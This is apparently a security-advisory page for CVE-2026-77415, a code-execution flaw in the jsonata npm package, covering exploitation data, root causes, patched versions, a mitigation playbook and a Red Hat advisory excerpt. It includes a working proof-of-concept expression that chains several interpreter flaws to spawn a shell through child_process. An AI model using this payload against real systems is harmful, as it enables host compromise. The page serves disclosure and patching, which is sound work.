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CVE-2026-77415 — jsonata

Fix: jsonata-js/jsonata@47c0e58

CVE-2026-77415 is a Code Injection vulnerability in jsonata. A fix is available for jsonata — see the affected versions and patch details below.

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Also known asGHSA-66mm-25pp-rfff
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-77415.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk
0.01%0.47%0.93%1.39%0.5%0.9%0.9%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

579other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
jsonatanpm
2.3Mdownloads / week

Description

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:

  • overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
  • it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
  • applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmjsonata≥ 2.0.0&&< 2.2.12.2.1npm install jsonata@2.2.1
📦npmjsonataall versions1.8.8npm install jsonata@1.8.8

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jsonata, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update jsonata to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-77415 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatCritical

This is a Critical flaw in JSONata, a JSON query and transformation language, allowing arbitrary code execution. Exploitation occurs when an attacker provides specially crafted JSONata expressions, leading to a complete compromise of the host process. This poses a significant risk to Red Hat products that process…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-77415 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Developer Hub 1.10rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-form-widgets:1791250794RHSA-2026:76788

Frequently Asked Questions

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to: - overwriting `$clone` allowing mutation of objects via transforms (see [`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314)) - it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`) - [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675) using `proc.arguments.forEach` and not `Array.prototype.forEac
O3 Security · Impact-Aware SCA

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CVE-2026-77415: jsonata RCE — Fixed in 2.2.1